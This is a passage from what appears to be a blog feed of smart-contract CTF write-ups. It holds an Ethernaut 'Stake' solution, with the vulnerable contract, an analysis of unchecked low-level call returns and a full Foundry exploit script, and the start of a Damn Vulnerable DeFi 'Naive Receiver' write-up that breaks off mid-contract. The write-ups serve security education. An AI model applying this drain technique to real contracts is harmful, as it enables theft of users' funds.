    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeETH</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">"Don't be cheap"</span>);
        totalStaked <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        Stakers[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeWETH</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-built_in">require</span>(amount <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">"Don't be cheap"</span>);
        (, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> allowance) <span class="hljs-operator">=</span> WETH.<span class="hljs-built_in">call</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(<span class="hljs-number">0xdd62ed3e</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-comment">// allowance(address owner, address spender)</span>
        );
        <span class="hljs-built_in">require</span>(
            bytesToUint(allowance) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount,
            <span class="hljs-string">"How am I moving the funds honey?"</span>
        );
        totalStaked <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
        UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
        (<span class="hljs-keyword">bool</span> transfered, ) <span class="hljs-operator">=</span> WETH.<span class="hljs-built_in">call</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(
                <span class="hljs-number">0x23b872dd</span>,
                <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
                <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
                amount
            )
        );
        Stakers[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        <span class="hljs-keyword">return</span> transfered;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Unstake</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-built_in">require</span>(UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount, <span class="hljs-string">"Don't be greedy"</span>);
        UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        totalStaked <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: amount}(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">return</span> success;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bytesToUint</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-built_in">require</span>(data.<span class="hljs-built_in">length</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">32</span>, <span class="hljs-string">"Data length must be at least 32 bytes"</span>);
        <span class="hljs-keyword">uint256</span> result;
        <span class="hljs-keyword">assembly</span> {
            result <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(data, <span class="hljs-number">0x20</span>))
        }
        <span class="hljs-keyword">return</span> result;
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>Back to DeFi with this new Ethernaut challenge. How could we drain the Stake contract? We have only 3 functions to play with: <code>StakeETH</code>, <code>StakeWETH</code>, and <code>Unstake</code>. The <code>bytesToUint()</code> is an internal function that is doing its job, you can ignore it. Let's focus on the main functions.</p>
<h3 id="heading-1-stakeeth">1. StakeETH</h3>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeETH</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">"Don't be cheap"</span>);
        totalStaked <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        Stakers[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }
</code></pre>
<p>Pretty straightforward, you send some ETH and you become a staker. The contract's balance will increase by the amount you sent.</p>
<h3 id="heading-2-unstake">2. Unstake</h3>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Unstake</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-built_in">require</span>(UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount, <span class="hljs-string">"Don't be greedy"</span>);
        UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        totalStaked <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: amount}(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">return</span> success;
    }
</code></pre>
<p>Let's check the Unstake function now because it is smaller! If the vulnerability is here, we save the trouble, and otherwise, we will have the full picture in mind when going to the last and more complex function.</p>
<p>You can withdraw your staked amount if your <code>UserStake</code> amount is greater than the amount you want to withdraw. Fair enough. Then, the contract's balance will decrease by the amount you withdraw. Finally, an external call sends the amount back to the staker. Interestingly, while the CEI is respected, the function simply returns the low-level calls' return value but doesn't require it to be successful (true). Let's keep that in mind.</p>
<h3 id="heading-3-stakeweth">3. StakeWETH</h3>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeWETH</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-built_in">require</span>(amount <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">"Don't be cheap"</span>);
        (, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> allowance) <span class="hljs-operator">=</span> WETH.<span class="hljs-built_in">call</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(<span class="hljs-number">0xdd62ed3e</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-comment">// allowance(address owner, address spender)</span>
        );
        <span class="hljs-built_in">require</span>(
            bytesToUint(allowance) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount,
            <span class="hljs-string">"How am I moving the funds honey?"</span>
        );
        totalStaked <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
        UserStake[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
        (<span class="hljs-keyword">bool</span> transfered, ) <span class="hljs-operator">=</span> WETH.<span class="hljs-built_in">call</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(
                <span class="hljs-number">0x23b872dd</span>,
                <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
                <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
                amount
            )
        );
        Stakers[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        <span class="hljs-keyword">return</span> transfered;
    }
</code></pre>
<p>A function a bit longer here. Like the <code>StakeETH()</code> function, there is a minimum amount to respect. Then a low-level call is made to the WETH contract to check the allowance. If the allowance is sufficient, the amount is added to the <code>totalStaked</code> and the <code>UserStake</code>. Finally, the amount is transferred from the staker to the contract... Or is it?</p>
<p>Like in <code>StakeETH()</code> function previously, the return value of the low-level call is not checked. Could we exploit this? What if we approve an amount of WETH but we don't have it? The contract will increase the <code>totalStaked</code> and the <code>UserStake</code> but the transfer will fail. The function will return false, but... who cares? The call will still pass, however, the contract will be stuck with a higher <code>totalStaked</code> than its balance!</p>
<p>So it seems that we found a way to let the contract believe our stakes are higher than they actually are. Let's recheck the requirements to see how we can fulfill them.</p>
<ol>
<li><p>The Stake contract's balance has to be greater than 0.</p>
</li>
<li><p>The <code>totalStaked</code> amount must be greater than the contract's balance.</p>
</li>
<li><p>We must be a staker.</p>
</li>
<li><p>Our staked balance must be 0.</p>
</li>
</ol>
<p>So we have to stake some ETH to become a staker, then unstake everything so our balance is 0. However, if we unstake everything, the contract's balance will be 0, so we might have to simulate a user to stake some ETH in the contract. Then, we will be able to get our funds back, thanks to the vulnerability in the <code>StakeWETH</code> function.</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the complete solution. Here is a simple contract that will stake some ETH in the <code>Stake</code> contract. The goal is to simulate a user, so we can fulfill all the requirements.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IStake</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeETH</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">BecauseWhyNot</span> </span>{
    IStake <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> stake;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _stakeContract</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        stake <span class="hljs-operator">=</span> IStake(_stakeContract);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">becauseWhyNot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-comment">// Become a staker with 0.001 ETH + 2 wei (1 will be left behind)</span>
        stake.StakeETH{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}();
    }
}
</code></pre>
<p>Next, let's write a deployment script that will handle all the transactions in one go for us:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">BecauseWhyNot</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/31_Stake.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IStake</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">totalStaked</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">WETH</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeETH</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">StakeWETH</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Unstake</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IWETH</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Stake instance</span>
    IStake <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> stake <span class="hljs-operator">=</span>
        IStake(<span class="hljs-number">0xaF162C29cf1791410b601D4CB73292c78C42320D</span>);
    IWETH <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> weth <span class="hljs-operator">=</span> IWETH(stake.WETH());
    <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span> <span class="hljs-operator">+</span> <span class="hljs-number">1</span> <span class="hljs-literal">wei</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        <span class="hljs-comment">// 1. Deploy the BecauseWhyNot contract and stake some ETH</span>
        BecauseWhyNot becauseWhyNot <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> BecauseWhyNot(<span class="hljs-keyword">address</span>(stake));
        becauseWhyNot.becauseWhyNot{<span class="hljs-built_in">value</span>: amount <span class="hljs-operator">+</span> <span class="hljs-number">1</span> <span class="hljs-literal">wei</span>}();

        <span class="hljs-comment">// 2. Become a staker</span>
        stake.StakeETH{<span class="hljs-built_in">value</span>: amount}();

        <span class="hljs-comment">// 3. Approve the stake contract to use WETH</span>
        weth.approve(<span class="hljs-keyword">address</span>(stake), amount);

        <span class="hljs-comment">// 4. Stake WETH (that we don't have!)</span>
        stake.StakeWETH(amount);
        console2.log(<span class="hljs-string">"Balance after StakeWETH: "</span>, <span class="hljs-keyword">address</span>(stake).<span class="hljs-built_in">balance</span>);
        console2.log(<span class="hljs-string">"TotalStaked after StakeWETH: "</span>, stake.totalStaked());

        <span class="hljs-comment">// 5. Unstake ETH + WETH (leave 1 wei in Stake contract)</span>
        stake.Unstake(amount <span class="hljs-operator">*</span> <span class="hljs-number">2</span>);
        console2.log(<span class="hljs-string">"Balance after hack: "</span>, <span class="hljs-keyword">address</span>(stake).<span class="hljs-built_in">balance</span>);
        console2.log(<span class="hljs-string">"TotalStaked after hack: "</span>, stake.totalStaked());

        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(stake).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Stake balance == 0"</span>);
        <span class="hljs-built_in">require</span>(
            stake.totalStaked() <span class="hljs-operator">&gt;</span> <span class="hljs-keyword">address</span>(stake).<span class="hljs-built_in">balance</span>,
            <span class="hljs-string">"Balance &gt; Total staked"</span>
        );

        vm.stopBroadcast();
    }
}
</code></pre>
<p>The command to run the script:</p>
<pre><code class="lang-solidity">forge script script<span class="hljs-operator">/</span>31_Stake.s.sol:PoC <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>evm<span class="hljs-operator">-</span>version cancun <span class="hljs-operator">-</span><span class="hljs-operator">-</span>priority<span class="hljs-operator">-</span>gas<span class="hljs-operator">-</span>price <span class="hljs-number">1</span>
</code></pre>
<p>Let's see the result in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714106322051/c8e87d16-a9ff-49e5-8c3b-68cf8fd2adaf.png" alt /></p>
<blockquote>
<p>Note: We have to specify the <code>--evm-version cancun</code> flag to use the latest version of the EVM for this level, as well as the <code>--priority-gas-price 1</code> flag, otherwise foundry complains.</p>
</blockquote>
<p>🎉 Level completed 🎉</p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Always validate properly the return values of low-level calls in case the call reverted.</p>
</li>
<li><p>Try to systematically use <code>SafeERC20</code> when dealing with ERC20 tokens.</p>
</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li><p>Check external calls return: <a target="_blank" href="https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return">https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return</a></p>
</li>
<li><p>SafeERC20: <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol">https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol</a></p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[Damn Vulnerable DeFi | 2 - Naive Receiver]]></title><description><![CDATA[Goals
In the Naive Receiver challenge, we have to drain the user's contract (the receiver address in hardhat) in a single transaction. Note that we do not need to drain the pool, just the 10 ether from the receiver.

See the contracts
The Contracts
/...]]></description><link>https://blog.pedrojok.com/damn-vulnerable-defi-2-naive-receiver</link><guid isPermaLink="true">https://blog.pedrojok.com/damn-vulnerable-defi-2-naive-receiver</guid><category><![CDATA[ethereum security]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Fri, 12 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714118016902/6d7b58de-8fb6-4d52-9cfd-c0aed3b5e6f1.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p>In the Naive Receiver challenge, we have to drain the user's contract (the <code>receiver</code> address in hardhat) in a single transaction. Note that we do not need to drain the pool, just the 10 ether from the receiver.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714118220650/02607878-6c2c-4448-a597-fcda18d5e07c.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/naive-receiver">See the contracts</a></p>
<h2 id="heading-the-contracts">The Contracts</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>

<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"solady/src/utils/SafeTransferLib.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./NaiveReceiverLenderPool.sol"</span>;

<span class="hljs-comment">/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FlashLoanReceiver</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IERC3156FlashBorrower</span> </span>{

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> pool;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> ETH <span class="hljs-operator">=</span> <span class="hljs-number">0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE</span>;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">UnsupportedCurrency</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _pool</span>) </span>{
        pool <span class="hljs-operator">=</span> _pool;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">uint256</span> fee,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span>
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
        <span class="hljs-keyword">assembly</span> { <span class="hljs-comment">// gas savings</span>
            <span class="hljs-keyword">if</span> <span class="hljs-built_in">iszero</span>(<span class="hljs-built_in">eq</span>(<span class="hljs-built_in">sload</span>(pool.<span class="hljs-built_in">slot</span>), <span class="hljs-built_in">caller</span>())) {
                <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x00</span>, <span class="hljs-number">0x48f5c3ed</span>)
                <span class="hljs-keyword">revert</span>(<span class="hljs-number">0x1c</span>, <span class="hljs-number">0x04</span>)
            }
        }

        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> ETH)
            <span class="hljs-keyword">revert</span> UnsupportedCurrency();

        <span class="hljs-keyword">uint256</span> amountToBeRepaid;
        <span class="hljs-keyword">unchecked</span> {
            amountToBeRepaid <span class="hljs-operator">=</span> amount <span class="hljs-operator">+</span> fee;
        }

        _executeActionDuringFlashLoan();

        <span class="hljs-comment">// Return funds to pool</span>
        SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>);
    }

    <span class="hljs-comment">// Internal function where the funds received would be used</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_executeActionDuringFlashLoan</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{ }

    <span class="hljs-comment">// Allow deposits of ETH</span>
    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/security/ReentrancyGuard.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"solady/src/utils/SafeTransferLib.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./FlashLoanReceiver.sol"</span>;

<span class="hljs-comment">/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">NaiveReceiverLenderPool</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ReentrancyGuard</span>, <span class="hljs-title">IERC3156FlashLender</span> </span>{

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> ETH <span class="hljs-operator">=</span> <span class="hljs-number">0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE</span>;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> FIXED_FEE <span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>; <span class="hljs-comment">// not the cheapest flash loan</span>
    <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> CALLBACK_SUCCESS <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>);

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">RepayFailed</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">UnsupportedCurrency</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">CallbackFailed</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">=</span><span class="hljs-operator">=</span> ETH) {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
        }
